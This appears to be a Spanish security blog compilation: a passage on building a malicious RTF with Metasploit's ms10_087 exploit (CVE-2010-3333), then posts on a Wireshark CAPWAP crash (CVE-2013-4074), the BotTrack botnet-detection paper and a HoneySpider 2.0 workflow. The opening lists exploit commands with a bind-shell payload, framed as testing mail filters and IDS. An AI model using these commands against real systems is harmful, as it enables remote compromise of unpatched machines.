Vemos que el fichero que creará se llamará msf.rtf y el target está puesto a 0. Estos parámetros podemos cambiarlos y ajustarlo a nuestras necesidades, como se ve a continuación:

msf exploit (ms10_087_rtf_pfragments_bof) > set target 2 
msf exploit (ms10_087_rtf_pfragments_bof) > set filename saw.rtf
msf exploit (ms10_087_rtf_pfragments_bof) > set payload generic/shell_bind_tcp

El payload configurado abrirá en caso de éxito un puerto en la máquina para que se conecte el atacante all puerto 4444/tcp de la máquina de la víctima. Se pueden configurar otros shellcodes, hemos elegido éste por simplicidad. Ahora solo nos queda ejecutar el exploit:

msf> exploit (ms10_087_rtf_pfragments_bof) > exploit 

El resultado generará:

Con esto ya tenemos un fichero para atacar a una víctima con Microsoft office 2003 (versión en inglés) y que no tenga parcheada la vulnerabilidad cve-2010-3333. Como vemos este fichero nos puede servir para probar nuestros sistemas de protección y ver si sería filtrado por el antivirus del servidor de correo, si el IDS nos alertaría, etcétera.

Una vez tenemos el fichero generado lo pasamos por virustotal y vemos como lo detectan algunos motores antivirus:

Es curioso que no sean todos los motores los que nos alerten, pero bueno, eso es otro cantar. Como véis el proceso de creación es muy sencillo, únicamente es necesario cuatro o cinco comandos y los atacantes ya pueden estar intentando comprometer a sus víctimas.

Vulnerabilidad TShark Wireshark (CVE-2013-4074)

Con una alta probabilidad muchos de nuestros lectores hayan manejado alguna vez o hayan visto manejar Wireshark, ya que es la herramienta por excelencia para análisis de tráfico de red. Es por esto que no voy a introducirla por la gran cantidad de información en la red sobre ella, así que si alguien no la conoce puede empezar pegando un vistazo a esta guía de Wireshark donde colaboramos. Lo que sí que me gustaría es recordar su arquitectura:

Como se ve en la imagen está compuesta por diferentes módulos y para esta entrada de todos ellos nos fijaremos en los “dissectors” que como bien nos indica la documentación tienen la función de diseccionar los paquetes de red. Cito textualmente la documentación:

While Wireshark is loading packets from a file, each packet is dissected. Wireshark tries to detect the packet type and gets as much information from the packet as possible. In this run though, only the information shown in the packet list pane is needed.

As the user selects a specific packet in the packet list pane, this packet will be dissected again. This time, Wireshark tries to get every single piece of information and put it into the packet details panel”.

Una vez ya entendemos la función de un dissector comentar que estos módulos suelen ser donde más vulnerabilidades están apareciendo en relación con esta herramienta. Solo hay que ir a los avisos de seguridad de la propia web principal y ver cómo la palabra dissector predomina en los avisos de seguridad.

Esta pequeña introducción viene porque el otro día mientras estaba trabajando tenía que hacer el análisis de un pcap, así que como es habitual lo cargué con la herramienta tshark y de repente me sucedió lo siguiente:

Al ver el error analicé qué consecuencias había podido tener en el sistema (mode paranoid on), ver qué contenido tenía el paquete que había provocado el fallo (en ese primer vistazo me dejé guiar por la última línea del error) y que no tuviera nada raro. Después de esto comprobé que era posible reproducirlo en el sistema en el que estaba haciendo el análisis y en otro equipo virtual diferente de manera reiterada.

Finalizado ése rápido vistazo, con el fin de obtener un poco más de información lancé la herramienta con un debugger, en este caso GDB, de la siguiente manera:

Tras ejecutarla con el comando run, obtuve el error:

Acto seguido ejecuté el comando backtrace para obtener esa información que pudiera darnos una pista de qué estaba fallando:

Mirando con cariño la salida, vi un dissector que parecía ser el culpable del fallo y cuyo nombre era dissector_capwap(). Este dissector se encarga del protocolo CAPWAP y para que se dispare el análisis es necesario que exista un paquete UDP a los puertos 5246 o 5247. En nuestro caso, era una captura de paquetes UDP y uno de los paquetes tenía como puerto el valor 5247, hecho que llevó a lanzar el análisis del dissector.

Con esta información cogí el pcap de 11 megas, busqué por el protocolo CAPWAP y obtuve el paquete que provocaba que la aplicación fallara:

Una vez tuve claro qué había provocado el fallo (nombre del dissector) busqué vulnerabilidades sobre este dissector y ví cómo existía este aviso CVE-2013-4074 que nos habla de la vulnerabilidad y era bastante reciente. Además, en el reporte de la vulnerabilidad encontré que había adjunto un fichero pcap que reproducía la vulnerabilidad de denegación de servicio, por si alguien quiere probarlo. Al parecer es una vulnerabilidad de denegación de servicio y no han conseguido ejecución de código. Si le queréis pegar un vistazo al parche podéis encontrarlo aquí.

Como véis es imprescindible ejecutar este tipo de herramientas con usuarios que no tengan privilegios de administrador como ya hemos comentado más de una vez en este blog y ejecutarlo en nuestro entorno de análisis.

BotTrack: Tracking Botnets using NetFlow and PageRank

La semana pasada una compañera me hizo llegar una serie de papers de la Universidad de Luxemburgo. Entre ellos me llamó la atención uno cuyo título era el de esta misma entrada: BotTrack: Tracking Botnets using NetFlow and PageRank. Para el que no lo conozca, Netflow es un protocolo desarrollado por Cisco Systems que permite a routers y switches, principalmente, enviar los flujos de comunicación de red hacia otro dispositivo que se le conocerá como colector y donde se podrá hacer un análisis de la información.

La investigación, realizada por Jérôme François, Shaonan Wang, Radu State, y Thomas Engel, en su documento intenta mostrarnos cómo detectar botnets P2P utilizando NetFlow y una extensión del algoritmo PageRank utilizado por Google.

El documento nos cuenta las arquitecturas habituales de botnets y la evolución que están sufriendo hacia arquitecturas distribuidas, para aumentar la escalabilidad principalmente. Para detectar estas nuevas arquitecturas, proponen lo siguiente:

Tal y como explican, en primer lugar se dispone de un colector netflow (por ejemplo la herramienta ntop con el plugin de netflow) que recoge los flujos de routers, honeypots, etc. Con estos flujos se hace un grafo de relación entre hosts. Este grafo es analizado por un módulo que implementa una versión del algoritmo PageRank de Google que según el autor es un algoritmo apropiado para analizar los enlaces de comunicación entre los hosts en redes grandes. Como resultado de procesar el grafo con estos algoritmos se obtienen dos valores, el hub rank (Partiendo de los nodos origen tráfico hacia los nodos destino) y el authority rank (Partiendo de los nodos destino tráfico hacia los orígenes), que tienen en cuenta la dirección del tráfico para calcularlos. La puntuación de cada nodo será mayor dependiendo de la cantidad de conexiones que tenga con otros nodos y de la calidad de esas conexiones. Por ejemplo, el nodo que es un honeypot distribuirá mayor peso a los nodos con los que está relacionado, y se considerará por tanto una conexión importante (mayor peso), ya que la probabilidad de que un nodo relacionado con él forme parte de una botnet es muy alta.

Partiendo del hub rank y authority rank de cada nodo el módulo de cluster agrupará con el objetivo de identificar nodos con un rol similar dentro de la red. El ejemplo que ponen en el documento es el cálculo de hub rank y authority rank para el protocolo kademlia, para hosts normales y para bots, de manera que se vea la distribución de los valores y sea posible comparar. En este caso se ve cómo ha identificado dos clusters de bots principales:

Es posible por tanto obtener unos rangos de valores que permitan identificar una botnet utilizando un protocolo p2p según lo que nos cuentan en este estudio. Os recomiendo su lectura dado que puede aportaros ideas para la explotación del tráfico NetFlow para la detección de botnets p2p.

Honeyspider 2.0 – Workflows

Hace ya tiempo presentábamos desde aquí qué era HoneySpider 2.0 y comentábamos por encima sus funcionalidades. Ahora vamos a ver una de las piezas fundamentales de esta nueva versión, como son los flujos de trabajo (workflow). Se asume por tanto que ya está instalado nuestro HoneySpider 2.0 o estamos usando la máquina virtual que han puesto desde el proyecto.

Partiendo de que ya tenemos la aplicación instalada debemos primero de todo tener a mano la documentación imprescindible para definir un workflow, que la podemos encontrar aquí y aquí.

Un workflow está compuesto en HoneySpider 2.0 por una serie de procesos, donde cada proceso está formado por servicios y estos servicios disponen de parámetros de entrada y la posibilidad de redirigir su salida a otros procesos. A continuación vemos como sería un esquema conceptual de lo que es un workflow:

Estos flujos de trabajo se definen en formato XML. En el siguiente ejemplo os proporcionamos un workflow de ejemplo muy sencillo que realiza un análisis de ficheros office mediante la herramienta rb-officecat (Nugget de razorback) de un conjunto de enlaces:

<?xml version="1.0"?> 
<workflow> 
  <description> 
    Analyze files office files with officecat 
  </description> 
  <process id="main"> 
    <service name="feeder-list" id="feeder"> 
      <parameter name="uri">/tmp/file.txt</parameter> 
      <parameter name="domain_info">true</parameter> 
      <output process="process_url"/> 
    </service> 
  </process> 
  <process id="process_url"> 
    <service name="webclient" id="webclient0" ignore_errors="DEFUNCT"> 
      <parameter name="link_click_policy">0</parameter> 
      <parameter name="redirect_limit">20</parameter> 
      <parameter name="save_html">false</parameter> 
      <parameter name="save_images">false</parameter> 
      <parameter name="save_objects">true</parameter> 
      <parameter name="save_multimedia">false</parameter> 
      <parameter name="save_others">false</parameter> 
      <output process="report"/> 
    </service> 
    <service name="reporter" id="reporter0"> 
      <parameter name="serviceName">webclient</parameter> 
      <parameter name="template">webclient.jsont</parameter> 
    </service> 
    <!-- determine classification, taking into account propagation from child objects --> 
    <script>!findByValue("parent", #current). 
      {? #this.origin != "link" and #this.classification == "malicious"}.isEmpty 
       or rb_officecat_classification == "malicious" 
       ? (classification = "malicious") : 
         (classification = "benign")</script> 
    <service name="reporter" id="reporter1"> 
      <parameter name="serviceName"/> 
      <parameter name="template">url.jsont</parameter> 
    </service> 
  </process> 
  <process id="report"> 
    <service name="reporter" id="reporter4"> 
      <parameter name="serviceName">webclient</parameter> 
      <parameter name="template">webclient.jsont</parameter> 
    </service> 
    <service name="reporter" id="reporter5"> 
      <parameter name="serviceName">file</parameter> 
      <parameter name="template">file.jsont</parameter> 
    </service> 
    <conditional expr="content != null and (mime_type == 'application/msword' or 
         mime_type == 'application/vnd.ms-excel' or mime_type == 
		 'application/vnd.ms-powerpoint')"> 
      <true> 
        <service name="rb-officecat" id="office1"/> 
        <service name="reporter" id="reporter6" ignore_errors="INPUT"> 
          <parameter name="serviceName">rb-officecat</parameter> 
          <parameter name="template">rb-officecat.jsont</parameter> 
        </service> 
      </true> 
    </conditional> 
    <!-- determine classification, taking into account propagation from child objects --> 
    <script>!findByValue("parent", #current). 
    {? #this.origin != "link" and #this.classification == "malicious"}.isEmpty 
       or rb_officecat_classification == "malicious" 
? (classification = "malicious") : 
         (classification = "benign")</script> 
    <service name="reporter" id="reporter7"> 
      <parameter name="serviceName"/> 
      <parameter name="template">url.jsont</parameter> 
    </service> 
  </process> 
</workflow>

El workflow de ejemplo se debe interpretar de la siguiente manera: se define un proceso main que utiliza el servicio “feeder-list” para leer  los enlaces a analizar de un fichero en /tmp/file.txt. Estos enlaces leidos se pasan al proceso process_url. Este proceso utiliza el servicio “webclient” para visitar esos enlaces, recibiendo como parámetro algunas acciones que debe hacer o no hacer, como guardar objetos multimedia, etcétera. Estos enlaces recopilados por este servicio se pasarán al proceso report.

Además de webclient el proceso process_url dispone de varios servicios que se encargan de generar información de salida para la interfaz web. Por último, el proceso report es donde se ha alojado el servicio que analiza los ficheros office con el nugget de razorback, “rb-officecat”, además de imprimir información mediante el servicio de report. Destacar la importancia de indicarle al servicio para qué tipo de contenido debe activarse; en este caso se le ha limitado a determinados tipos de contenido, para que entre en funcionamiento con contenidos que aplican.

Una vez cargado el workflow en nuestra herramienta, le proporcionamos un fichero con enlaces . En nuestro caso de ejemplo le hemos incluido un enlace con un fichero office malicioso, obteniendo como resultado:

Si hacemos clic sobre el documento detectado veremos  la vulnerabilidad que ha detectado rb-officecat:

Este es solo un ejemplo de la detección que puede hacer esta herramienta. Como se ve es sencilla la definición y como ya comentamos en el post anterior con muchas posibilidades de ampliación. Decir que es una herramienta que está en una fase inicial y que ciertos aspectos será necesario pelearse hasta conseguir que funcionen como queremos o reportarlo en el grupo de Google de la propia herramienta.